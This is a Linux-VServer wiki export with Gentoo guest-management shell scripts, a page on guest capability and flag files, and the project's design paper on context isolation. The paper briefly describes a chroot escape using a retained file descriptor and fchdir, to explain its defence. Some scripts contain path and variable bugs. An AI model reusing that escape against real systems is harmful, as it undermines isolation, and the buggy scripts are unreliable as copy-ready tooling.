<br />
vserver ${VSERVER_HOST} start<br />
fi<br />
<br />
</pre><br />
<br />
==== Gentoo Update World ====<br />
<br />
The command for updating each virtual host did not work for me, so this script was created.<br />
<br />
'''Note:''' Use at your own risk. Updating gentoo this way could break your system.<br />
<br />
'''genvs_update.sh'''<br />
<pre><br />
#!/bin/sh<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[33;40m'<br />
echo -e 'Gentoo Update Script for Virtual Servers'<br />
echo -e 'Author: Dereck Martin <dmartin@tekconxus.com>'<br />
echo -e ''<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Sync'<br />
echo -e '# This update the portage on the host'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
emerge --sync<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running VPS Sync'<br />
echo -e '# This will update the portage cache on all VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vesync --all<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Update World'<br />
echo -e '# This will update every single package on your VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vemerge --all -- --deep --update --newuse world<br />
vemerge --all -- --depclean<br />
<br />
# Still a little buggy...<br />
#for vs in ${VSERVER_LOC}/*<br />
#do<br />
# vserver ${vs} exec revdep-rebuild<br />
#done<br />
</pre><br />
<br />
==== Host and Resolv Update Script ====<br />
<br />
I had troubles with getting my custom resolv.conf and hosts file to be auto generated at build time so I created this script to update them at any time when there are changes.<br />
<br />
'''Note:''' Change locations as required.<br />
<br />
'''genvsetc_cp.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
cp -v /etc/vservers/.defaults/files/hosts ${VSERVER}/${vs}/etc/<br />
cp -v /etc/vservers/.defaults/files/resolv.conf ${VSERVER}/${vs}/etc/<br />
done<br />
<br />
cd ${PWD}<br />
</pre><br />
<br />
==== Shutdown/Reboot/Start All Scripts ====<br />
<br />
This will let you perform a shutdown of all virtual guests<br />
<br />
'''genvs_stopall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Stopping All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} stop<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_startall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Starting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} start<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_rebootall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Rebooting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} restart<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
== External Resources ==<br />
<br />
Please take a look at the [http://www.gentoo.org/proj/en/vps/vserver-howto.xml Gentoo Linux-VServer Howto] for more information. In general we try to keep the wiki in sync, nevertheless it might help :)</div>Daniel hozachttp://svn.linux-vserver.org/util-vserver:Capabilities_and_Flagsutil-vserver:Capabilities and Flags2008-09-07T09:12:43Z<p>Daniel hozac: Reverted edits by 124.47.92.70, 24.93.239.151, 59.171.152.158</p>
<hr />
<div>This page discusses how to set capabilities and flags for a util-vserver guest. Also check http://www.nongnu.org/util-vserver/doc/conf/configuration.html for additional information.<br />
A couple of general rules applies to all of the files described on this page:<br />
* The filenames are all relative to the guest's configuration directory, which typically is <code>/etc/vservers/<em><guest></em></code> but by default <code>/usr/local/etc/vservers/<em><guest></em></code> when built from source.<br />
* One capability/flag per line<br />
* To remove something set by default, prefix it with ~, for instance:<br />
echo ~SET_UTSNAME >> ccapabilities<br />
* Comments can be added with #:<br />
echo \# Disable utsname configuration >> ccapabilities<br />
* To set a specific bit which does not yet have a name in util-vserver, you can use the following notation to set bit 6:<br />
echo ^6 >> ncapabilities<br />
<br />
=== Setting context capabilities (ccaps) ===<br />
* Add the capabilities to a file named <code>ccapabilities</code>:<br />
echo SYSLOG >> ccapabilities<br />
* The default ccaps are:<br />
SET_UTSNAME<br />
RAW_ICMP<br />
<br />
=== Setting context flags (cflags) ===<br />
* Add the flags to a file named <code>flags</code>:<br />
echo VIRT_MEM >> flags<br />
* The default cflags are (in addition to the defaults set by the kernel):<br />
HIDE_NETIF<br />
<br />
=== Setting network flags (nflags) ===<br />
* Add the flags to a file named <code>nflags</code>:<br />
echo HIDE_NETIF >> nflags<br />
* The default nflags are:<br />
HIDE_NETIF<br />
<br />
=== Setting POSIX capabilities (bcaps) ===<br />
* Add the capabilities to a file named <code>bcapabilities</code>:<br />
echo CHOWN >> bcapabilities<br />
* The default bcaps are:<br />
CHOWN<br />
DAC_OVERRIDE<br />
DAC_READ_SEARCH<br />
FOWNER<br />
FSETID<br />
KILL<br />
SETGID<br />
SETUID<br />
NET_BIND_SERVICE<br />
SYS_CHROOT<br />
SYS_PTRACE<br />
SYS_BOOT<br />
SYS_TTY_CONFIG<br />
LEASE<br />
AUDIT_WRITE<br />
<br />
=== Setting network capabilities (ncaps) ===<br />
* Add the capabilities to a file named <code>ncapabilities</code>:<br />
echo ^12 >> ncapabilities<br />
* There are no default ncaps.</div>Daniel hozachttp://svn.linux-vserver.org/PaperPaper2008-08-29T11:36:10Z<p>Daniel hozac: Reverted edits by 203.193.165.98 (Talk); changed back to last version by Daniel hozac</p>
<hr />
<div>== Abstract ==<br />
<br />
A soft partitioning concept based on ''Security Contexts'' which permits the creation of many independent Virtual Private Servers (VPS) that run simultaneously on a single physical server at full speed, efficiently sharing hardware resources.<br />
<br />
A VPS provides an almost identical operating environment as a conventional Linux Server. All services, such as ssh, mail, Web and databases, can be started on such a VPS, without (or in special cases with only minimal) modification, just like on any real server.<br />
<br />
Each virtual server has its own user account database and root password and is isolated from other virtual servers, except for the fact that they share the same hardware resources.<br />
<br />
== Introduction ==<br />
<br />
Over the years, computers have become sufficiently powerful to use virtualization to create the illusion of many smaller virtual machines, each running a separate operating system instance.<br />
<br />
There are several kinds of Virtual Machines (VMs) which provide similar features, but differ in the degree of abstraction and the methods used for virtualization.<br />
<br />
Most of them accomplish what they do by ''emulating'' some real or fictional hardware, which in turn requires ''real'' resources from the Host (the machine running the VMs). This approach, used by most System Emulators (like QEMU, Bochs, ...), allows the emulator to run an arbitrary Guest Operating System, even for a different Architecture (CPU and Hardware). No modifications need to be made to the Guest OS because it isn't aware of the fact that it isn't running on real hardware.<br />
<br />
Some System Emulators require small modifications or specialized drivers to be added to Host or Guest to improve performance and minimize the overhead required for the hardware emulation. Although this significantly improves efficiency, there are still large amounts of resources being wasted in caches and mediation between Guest and Host (examples for this approach are UML and Xen).<br />
<br />
But suppose you do not want to run many different Operating Systems simultaneously on a single box? Most applications running on a server do not require hardware access or kernel level code, and could easily share a machine with others, if they could be separated and secured...<br />
<br />
== The Concept ==<br />
<br />
At a basic level, a Linux Server consists of three building blocks: Hardware, Kernel and Applications. The Hardware usually depends on the provider or system maintainer, and, while it has a big influence on the overall performance, it cannot be changed that easily, and will likely differ from one setup to another.<br />
<br />
The main purpose of the Kernel is to build an abstraction layer on top of the hardware to allow processes (Applications) to work with and operate on resources (Data) without knowing the details of the underlying hardware. Ideally, those processes would be completely hardware agnostic, by being written in an interpreted language and therefore not requiring any hardware-specific knowledge.<br />
<br />
Given that a system has enough resources to drive ten times the number of applications a single Linux server would usually require, why not put ten servers on that box, which will then share the available resources in an efficient manner?<br />
<br />
Most server applications (e.g. httpd) will assume that it is the only application providing a particular service, and usually will also assume a certain filesystem layout and environment. This dictates that similar or identical services running on the same physical server, but for example, only differing in their addresses, have to be coordinated. This typically requires a great deal of administrative work which can lead to reduced system stability and security.<br />
<br />
The basic concept of the Linux-VServer solution is to separate the user-space environment into distinct units (sometimes called Virtual Private Servers) in such a way that each VPS looks and feels like a real server to the processes contained within.<br />
<br />
Although different Linux Distributions use (sometimes heavily) patched kernels to provide special support for unusual hardware or extra functionality, most Linux Distributions are not tied to a special kernel.<br />
<br />
Linux-VServer uses this fact to allow several distributions, to be run simultaneously on a single, shared kernel, without direct access to the hardware, and share the resources in a very efficient way.<br />
<br />
== Existing Infrastructure ==<br />
<br />
Recent Linux Kernels already provide many security features that are utilized by Linux-VServer to do its work. Especially features such as the Linux Capability System, Resource Limits, File Attributes and the Change Root Environment. The following sections will give a short overview about each of these.<br />
<br />
=== Linux Capability System ===<br />
<br />
In computer science, a capability is a token used by a process to prove that it is allowed to perform an operation on an object. The Linux Capability System is based on "POSIX Capabilities", a somewhat different concept, designed to split up the all powerful root privilege into a set of distinct privileges.<br />
<br />
==== POSIX Capabilities ====<br />
<br />
A process has three sets of bitmaps called the inheritable(I), permitted(P), and effective(E) capabilities. Each capability is implemented as a bit in each of these bitmaps that is either set or unset.<br />
<br />
When a process tries to do a privileged operation, the operating system will check the appropriate bit in the effective set of the process (instead of checking whether the effective uid of the process is 0 as is normally done).<br />
<br />
For example, when a process tries to set the clock, the Linux kernel will check that the process has the CAP_SYS_TIME bit (which is currently bit 25) set in its effective set.<br />
<br />
The permitted set of the process indicates the capabilities the process can use. The process can have capabilities set in the permitted set that are not in the effective set.<br />
<br />
This indicates that the process has temporarily disabled this capability. A process is allowed to set a bit in its effective set only if it is available in the permitted set. The distinction between effective and permitted exists so that processes can "bracket" operations that need privilege.<br />
<br />
The inheritable capabilities are the capabilities of the current process that should be inherited by a program executed by the current process. The permitted set of a process is masked against the inheritable set during exec(). Nothing special happens during fork() or clone(). Child processes and threads are given an exact copy of the capabilities of the parent process.<br />
<br />
The implementation in Linux stopped at this point, whereas POSIX Capabilities[U5] requires the addition of capability sets to files too, to replace the SUID flag (at least for executables). The pending Linux 2.6.24 kernel supports file POSIX capabilities. (See Serge Hallyn's [http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=b53767719b6cd8789392ea3e7e2eb7b8906898f0 git commit] of Wed, 17 Oct 2007.) One userspace tool capable of changing file capabilities is the 2.X version of Andrew Morgan's [http://kernel.org/pub/linux/libs/security/linux-privs/ libcap] library and programs.<br />
<br />
==== Capability Overview ====<br />
<br />
The list of POSIX Capabilities used with Linux is long, and the 32 available bits are almost used up. While the detailed list of all capabilities can be found in /usr/include/linux/capability.h on most Linux systems, an overview of important capabilities is given here.<br />
<br />
{| class="wikitablenowrap"<br />
! [0] CAP_CHOWN<br />
| change file ownership and group.<br />
|-<br />
! [5] CAP_KILL<br />
| send a signal to a process with a different real or effective user ID<br />
|-<br />
! [6] CAP_SETGID<br />
| permit setgid(2), setgroups(2), and forged gids on socket credentials passing<br />
|-<br />
! [7] CAP_SETUID<br />
| permit set*uid(2), and forged uids on socket credentials passing<br />
|-<br />
! [8] CAP_SETPCAP<br />
| transfer/remove any capability in permitted set to/from any pid<br />
|-<br />
! [9] CAP_LINUX_IMMUTABLE<br />
| allow modification of S_IMMUTABLE and S_APPEND file attributes<br />
|-<br />
! [11] CAP_NET_BROADCAST<br />
| permit broadcasting and listening to multicast<br />
|-<br />
! [12] CAP_NET_ADMIN<br />
| permit interface configuration, IP firewall, masquerading, accounting, socket debugging, routing tables, bind to any address, enter promiscuous mode, multicasting, ...<br />
|-<br />
! [13] CAP_NET_RAW<br />
| permit usage of RAW and PACKET sockets<br />
|-<br />
! [16] CAP_SYS_MODULE<br />
| insert and remove kernel modules<br />
|-<br />
! [18] CAP_SYS_CHROOT<br />
| permit chroot(2)<br />
|-<br />
! [19] CAP_SYS_PTRACE<br />
| permit ptrace() of any process<br />
|-<br />
! [21] CAP_SYS_ADMIN<br />
| this list would be too long, it basically allows to do everything else, not mentioned in another capability.<br />
|-<br />
! [22] CAP_SYS_BOOT<br />
| permit reboot(2)<br />
|-<br />
! [23] CAP_SYS_NICE<br />
| allow raising priority and setting priority on other processes, modify scheduling<br />
|-<br />
! [24] CAP_SYS_RESOURCE<br />
| override resource limits, quota, reserved space on fs, ...<br />
|-<br />
! [27] CAP_MKNOD<br />
| permit the privileged aspects of mknod(2)<br />
|}<br />
<br />
=== Resource Limits ===<br />
<br />
Resources for each process can be limited by specifying a Resource Limit. Similar to the Linux Capabilities, there are two different limits, a Soft Limit and a Hard Limit.<br />
<br />
The soft limit is the value that the kernel enforces for the corresponding resource. The hard limit acts as a ceiling for the soft limit: an unprivileged process may only set its soft limit to a value in the range from zero up to the hard limit, and (irreversibly) lower its hard limit. A privileged process may make arbitrary changes to either limit value, as long as the soft limit stays below the hard limit.<br />
<br />
==== Limit-able Resource Overview ====<br />
<br />
The list of all defined resource limits can be found in /usr/include/asm/resource.h on most Linux systems, an overview of relevant resource limits is given here.<br />
<br />
{| class="wikitablenowrap"<br />
|-<br />
! [0] RLIMIT_CPU<br />
| CPU time in seconds. process is sent a SIGXCPU signal after reaching the soft limit, and SIGKILL on hard limit.<br />
|-<br />
! [4] RLIMIT_CORE<br />
| maximum size of core files generated<br />
|-<br />
! [5] RLIMIT_RSS<br />
| number of pages the process's resident set can consume (the number of virtual pages resident in RAM)<br />
|-<br />
! [6] RLIMIT_NPROC<br />
| The maximum number of processes that can be created for the real user ID of the calling process.<br />
|-<br />
! [7] RLIMIT_NOFILE<br />
| Specifies a value one greater than the maximum file descriptor number that can be opened by this process.<br />
|-<br />
! [8] RLIMIT_MEMLOCK<br />
| The maximum number of virtual memory pages that may be locked into RAM using mlock() and mlockall().<br />
|-<br />
! [9] RLIMIT_AS<br />
| The maximum number of virtual memory pages available to the process (address space limit). \<br />
|}<br />
<br />
=== File Attributes ===<br />
<br />
Originally, this feature was only available with ext2, but now all major filesystems implement a basic set of File Attributes that permit certain properties to be changed. Here again is a short overview of the possible attributes, and what they mean.<br />
<br />
{| class="wikitablenowrap"<br />
! <br />
! Macro Name<br />
! Meaning<br />
|-<br />
! s <br />
! SECRM<br />
| When a file with this attribute set is deleted, its blocks are zeroed and written back to the disk.<br />
|-<br />
! u <br />
! UNRM<br />
| When a file with this attribute set is deleted, its contents are saved.<br />
|-<br />
! c <br />
! COMPR<br />
| Files marked with this attribute are automatically compressed on write and uncompressed on read. (not implemented yet)<br />
|-<br />
! i <br />
! IMMUTABLE<br />
| A file with this attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file.<br />
|-<br />
! a <br />
! APPEND<br />
| Files with this attribute set can only be opened in append mode for writing.<br />
|-<br />
! d <br />
! NODUMP<br />
| If this flag is set, the file is not candidate for backup with the dump utility.<br />
|-<br />
! S <br />
! SYNC<br />
| Updates to the file contents are done synchronously.<br />
|-<br />
! A <br />
! NOATIME<br />
| Prevents updating the atime record on files when they are accessed or modified.<br />
|-<br />
! t <br />
! NOTAIL<br />
| A file with the t attribute will not have a partial block fragment at the end of the file merged with other files.<br />
|-<br />
! D <br />
! DIRSYNC<br />
| Changes to a directory having this attribute set will be done synchronously.<br />
|}<br />
<br />
The first column in the above table denotes command line options one might supply to ''lsattr'' respectively ''chattr''. The below screedump gives a notion about what we are talking:<br />
<pre><br />
max@pc1:~$ cd /tmp/<br />
max@pc1:/tmp$ touch my_file<br />
max@pc1:/tmp$ lsattr my_file<br />
------------------ my_file<br />
max@pc1:/tmp$ chattr +a my_file<br />
chattr: Operation not permitted while setting flags on my_file<br />
max@pc1:/tmp$ su<br />
Password:<br />
pc1:/tmp# chattr +a my_file && lsattr my_file<br />
-----a------------ my_file<br />
pc1:/tmp# exit<br />
exit<br />
max@pc1:/tmp$<br />
</pre><br />
<br />
As you might have noticed, one needs to gain root permissions in the upper showcase (the underlying file system was ext3). For more information just issue ''man 1 chattr'' in your command line interface.<br />
<br />
<br />
Information regarding file attributes can be found in the kernel source code. Every file system uses a subset of all known attributes (which are used depends on the file system). <br />
<br />
One thing can be said for sure -- the file attributes listed in the kernel source code are defined -- those are not listed are not defined and in turn can not be used for a particular file system (e.g. ext3 (Extended File System version 3)). However, many of those file attributes defined and understood by the kernel have no effect. Most file systems define those flags in a specific (specific for a particular file system) header file found within the kernel source tree. They also define a so called '''User Modifiable Mask''' (those are the flags the user can change with the ''ioctls'').<br />
<br />
Those flags have partially different meaning depending on the node type (i.e. dir, inode, fifo, pipe, device) and it is not trivial to say if a filesystem makes use of any user modifiable flag -- things like immutable are easy to verify (from user space) but how to verify e.g. NOTAIL from user space? Usually only source code review will show if it is implemented and used.<br />
<br />
For example, if that didn't change, the COMPR is defined, and well understood by ext2/3 but there is no implementation there, i.e. nothing is compressed.<br />
<br />
=== The chroot(1) Command ===<br />
<br />
chroot allows you to run a command with a different directory acting as the root directory. This means that all filesystem lookups are done with '/' referring to the substitute root directory and not to the original one.<br />
<br />
While the Linux chroot implementation isn't very secure, it increases the isolation of processes with regards to the filesystem, and, if used properly, can create a filesystem "jail" for a single process or a restricted user, daemon or service.<br />
<br />
== Required Modifications ==<br />
<br />
This chapter will describe the essential Kernel modifications to implement something like Linux-VServer.<br />
<br />
=== Context Separation ===<br />
<br />
The separation mentioned in the Concepts section requires some modifications to the kernel to allow for the notion of Contexts.<br />
The purpose of this "Context" is to hide all processes outside of its scope, and prohibit any unwanted interaction between a process inside the context and a process belonging to another context.<br />
<br />
This separation requires the extension of some existing data structures in order for them to become aware of contexts and to differentiate between identical uids used in different virtual servers.<br />
<br />
It also requires the definition of a default context that is used when the host system is booted, and to work around the issues resulting from some false assumptions made by some user-space tools (like pstree) that the init process has to exist and to be running under id '1'.<br />
<br />
To simplify administration, the Host Context isn't treated any differently than any other context as far as process isolation is concerned. To allow for process overview, a special Spectator context has been defined to peek at all processes at once.<br />
<br />
=== Network Separation ===<br />
<br />
While the Context Separation is sufficient to isolate groups of processes, a different kind of separation, or rather a limitation, is required to confine processes to a subset of available network addresses.<br />
<br />
Several issues have to be considered when doing so; for example, the fact that bindings to special addresses like IPADDR_ANY or the local host address have to be handled in a very special way.<br />
<br />
Currently, Linux-VServer doesn't make use of virtual network devices (and maybe never will) to minimize the resulting overhead. Therefore socket binding and packet transmission have been adjusted.<br />
<br />
=== The Chroot Barrier ===<br />
<br />
One major problem of the chroot() system used in Linux lies within the fact that this information is volatile, and will be changed on the next chroot() Syscall.<br />
<br />
One simple method to escape from a chroot-ed environment is as follows: First, create or open a file and retain the file-descriptor, then chroot into a subdirectory at equal or lower level with regards to the file. This causes the root to be moved down in the filesystem. Next, use fchdir() on the file-descriptor to escape from that new root. This will consequently escape from the old root as well, as this was lost in the last chroot() Syscall.<br />
<br />
While early Linux-VServer versions tried to fix this by "funny" methods, recent versions use a special marking, known as the Chroot Barrier, on the parent directory of each VPS to prevent unauthorized modification and escape from confinement.<br />
<br />
=== Upper Bound for Caps ===<br />
<br />
Because the current Linux Capability system does not implement the filesystem related portions of POSIX Capabilities which would make setuid and setgid executables secure, and because it is much safer to have a secure upper bound for all processes within a context, an additional per-context capability mask has been added to limit all processes belonging to that context to this mask.<br />
<br />
The meaning of the individual caps (bits) of the capability bound mask is exactly the same as with the permitted capability set.<br />
<br />
=== Resource Isolation ===<br />
<br />
Most resources are somewhat shared among the different contexts. Some require more additional isolation than others, either to avoid security issues or to allow for improved accounting.<br />
<br />
Those resources are:<br />
<br />
* shared memory, IPC<br />
* user and process IDs<br />
* file xid tagging<br />
* Unix ptys<br />
* sockets<br />
<br />
=== Filesystem XID Tagging ===<br />
<br />
Although it can be disabled completely, this modification is required for more robust filesystem level security and context isolation. It is also mandatory for Context Disk Limits and Per Context Quota Support on a shared partition.<br />
<br />
The concept of adding a context id (xid) to each file to make the context ownership persistent sounds simple, but the actual implementation is non-trivial - mainly because adding this information either requires a change to the on disk representation of the filesystem or the application of some tricks.<br />
<br />
One non-intrusive approach to avoid modification of the underlying filesystem is to use the upper bits of existing fields, like those for UID and GID to store the additional XID.<br />
<br />
Once context information is available for each inode, it is a logical step to extend the access controls to check against context too.<br />
Currently all inode access restrictions have been extended to check for the context id, with special exceptions for the Host Context and the Spectator Context.<br />
<br />
Untagged files belong to the Host Context and are silently treated as if they belong to the current context, which is required for Unification. If such a file is modified from inside a context, it silently migrates to the new one, changing its xid.<br />
<br />
The following Tagging Methods are implemented:<br />
{| class="wikitablenowrap"<br />
! UID32/GID32 or EXTERNAL<br />
| This format uses currently unused space within the disk inode to store the context information. As of now, this is only defined for ext2/ext3 but will be also defined for xfs, reiserfs, and jfs as soon as possible. Advantage: Full 32bit uid/gid values.<br />
|-<br />
! UID32/GID16<br />
| This format uses the upper half of the group id to store the context information. This is done transparently, except if the format is changed without prior file conversion. Advantage: works on all 32bit U/GID FSs. Drawback: GID is reduced to 16 bits.<br />
|-<br />
! UID24/GID24<br />
| This format uses the upper quarter of user and group id to store the context information, again transparently. This allows for about 16 million user and group ids, which should suffice for the majority of all applications. Advantage: works on all 32bit U/GID FSs. Drawback: UID and GID are reduced to 24 bits.<br />
|}<br />
<br />
== Additional Modifications ==<br />
<br />
In addition to the bare minimum, there are a number of modifications that are not mandatory, but have proven extremely useful over time.<br />
<br />
=== Context Flags ===<br />
<br />
It was very soon discovered that some features require a flag, a kind of switch to turn them on and off separately for each Linux-VServer, so a simple flag-word was added.<br />
<br />
This flag-word supports quite a number of flags, a flag-word mask, which allows to tell what flags are available, and a special trigger mechanism, providing one-time flags, set on startup, that can only be cleared once, usually causing a special action or event.<br />
<br />
Here is a list of planned and mostly implemented Context Flags, available in the development branch of Linux-VServer:<br />
<br />
{| class="wikitablenowrap"<br />
! [0] VXF_INFO_LOCK<br />
| (legacy, obsoleted)<br />
|-<br />
! [1] VXF_INFO_SCHED<br />
| schedule all processes in a context as if they where one. (legacy, obsoleted)<br />
|-<br />
! [2] VXF_INFO_NPROC<br />
| limit the number of processes in a context to the initial NPROC value. (legacy, obsoleted)<br />
|-<br />
! [3] VXF_INFO_PRIVATE<br />
| do not allow to join this context from outside. (legacy)<br />
|-<br />
! [4] VXF_INFO_INIT<br />
| show the init process with pid '1' (legacy)<br />
|-<br />
! [5] VXF_INFO_HIDE<br />
| (legacy, obsoleted)<br />
|-<br />
! [6] VXF_INFO_ULIMIT<br />
| (legacy, obsoleted)<br />
|-<br />
! [7] VXF_INFO_NSPACE<br />
| (legacy, obsoleted)<br />
|-<br />
! [8] VXF_SCHED_HARD<br />
| activate the Hard CPU scheduling<br />
|-<br />
! [9] VXF_SCHED_PRIO<br />
| use the context token bucket for calculating the process priorities<br />
|-<br />
! [10] VXF_SCHED_PAUSE<br />
| put all processes in this context on the hold queue, not scheduling them any longer<br />
|-<br />
! [16] VXF_VIRT_MEM<br />
| virtualize the memory information so that the VM and RSS limits are used for meminfo and friends<br />
|-<br />
! [17] VXF_VIRT_UPTIME<br />
| virtualize the uptime, beginning with the time of context creation<br />
|-<br />
! [18] VXF_VIRT_CPU<br />
|<br />
|-<br />
! [24] VXF_HIDE_MOUNT<br />
| show empty proc/{pid}/mounts<br />
|-<br />
! [25] VXF_HIDE_NETIF<br />
| hide network interfaces and addresses not permitted by the network context<br />
|}<br />
<br />
=== Context Capabilities ===<br />
<br />
As the Linux Capabilities have almost reached the maximum number that is possible without heavy modifications to the kernel, it was a natural step to add a context-specific capability system.<br />
<br />
The Linux-VServer context capability set acts as a mechanism to fine tune existing Linux capabilities. It is not visible to the processes within a context, as they would not know how to modify or verify it.<br />
<br />
In general there are two ways to use those capabilities:<br />
<br />
* Require one or a number of context capabilities to be set in addition to a given Linux capability, each one controlling a distinct part of the functionality.For example the CAP_NET_ADMIN could be split into RAW and PACKET sockets, so you could take away each of them separately by not providing the required context capability.<br />
<br />
* Consider the context capability sufficient for a specified functionality, even if the Linux Capability says something different.For example mount() requires CAP_SYS_ADMIN which adds a dozen other things we do not want, so we define a CCAP_MOUNT to allow mounts for certain contexts.<br />
The difference between the Context Flags and the Context Caps is more an abstract logical separation than a functional one, because they are handled very similar.<br />
<br />
Again, a list of the Context Capabilities and their purpose:<br />
<br />
<br />
{| class="wikitablenowrap"<br />
! [0] VXC_SET_UTSNAME<br />
| allow the context to change the host and domain name with the appropriate kernel Syscall<br />
|-<br />
! [1] VXC_SET_RLIMIT<br />
| allow the context to modify the resource limits (within the vserver limits).<br />
|-<br />
! [8] VXC_RAW_ICMP<br />
| allow raw icmp packets in a secure way (this makes ping work from inside)<br />
|-<br />
! [16] VXC_SECURE_MOUNT<br />
| permit secure mounts, which at the moment means that the nodev mount option is added.<br />
|}<br />
<br />
=== Context Accounting ===<br />
<br />
Some properties of a context are useful to the admin, either for keeping an overview of the resources, to get a feeling for the capacity of the host, or for billing them in some way to a customer.<br />
<br />
There are two different kinds of accountable properties, those having a current value which represents the state of the system (for example the speed of a vehicle), and those which monotonically increase over time (like the mileage).<br />
<br />
Most of the state type of properties also qualify for applying some limits, so they are handled specially. this is described in more detail in the following section.<br />
<br />
Good candidates for Context Accounting are:<br />
<br />
* Amount of CPU Time spent<br />
* Number of Forks done<br />
* Socket Messages by Type<br />
* Network Packets Transmitted and Received<br />
<br />
=== Context Limits ===<br />
<br />
Most properties related to system resources, might it be the memory consumption, the number of processes or file-handles, or the current network bandwidth, qualify for imposing limits on them.<br />
<br />
To provide a general framework for all kinds of limits, Context Limits allow the configuration of three different values for each limit-able resource: the minimum, a soft limit and a hard limit (maximum).<br />
<br />
At the time this is written, only the hard limits are supported and not all of them are actually enforced, but here is a list of current and planned Context Limits:<br />
<br />
* process limits<br />
* scheduler limits<br />
* memory limits<br />
* per-context disk limits<br />
* per-context user/group quota<br />
<br />
Additionally the context limit system keeps track of observed maxima and resource limit hits, to provide some feedback for the administrator.<br />
<br />
=== Virtualization ===<br />
<br />
One major difference between the Linux-VServer approach and Virtual Machines is that you do not have the virtualization part as a side-effect, so you have to do that by hand where it makes sense.<br />
<br />
For example, a Virtual Machine does not need to think about uptime, because naturally the running OS was started somewhere in the past and will not have any problem to tell the time it thinks it began running.<br />
<br />
A context can also store the time when it was created, but that will be different from the systems uptime, so in addition, there has to be some function, which adjusts the values passed from kernel to user-space depending on the context the process belongs to.<br />
<br />
This is what for Linux-VServer is known as Virtualization (actually it's more faking some values passed to and from the kernel to make the processes think that they are on a different machine).<br />
<br />
Currently modified for the purpose of Virtualization are:<br />
<br />
* System Uptime<br />
* Host and Domain Name<br />
* Machine Type and Kernel Version<br />
* Context Memory Availability<br />
* Context Disk Space<br />
<br />
=== Improved Security ===<br />
<br />
Proc-FS Security provides a mechanism to protect dynamic entries in the proc filesystem from being seen in every context.<br />
The system consists of three flags for each Proc-FS entry: Admin, Watch and Hide.<br />
<br />
The Hide flag enables or disables the entire feature, so any combination with the Hide flag cleared will mean total visibility.<br />
The Admin and Watch flags determine where the hidden entry remains visible; so for example if Admin and Hidden are set, the Host Context will be the only one able to see this specific entry.<br />
<br />
=== Kernel Helper ===<br />
<br />
For some purposes, it makes sense to have an user-space tool to act on behalf of the kernel, when a process inside a context requests something usually available on a real server, but naturally not available inside a context.<br />
<br />
The best, and currently only example for this is the Reboot Helper, which handles the reboot() system call, invoked from inside a context on behalf of the Kernel. It is executed, in Host side user-space to take appropriate actions - either reboot or just shutdown (halt) the specified context.<br />
<br />
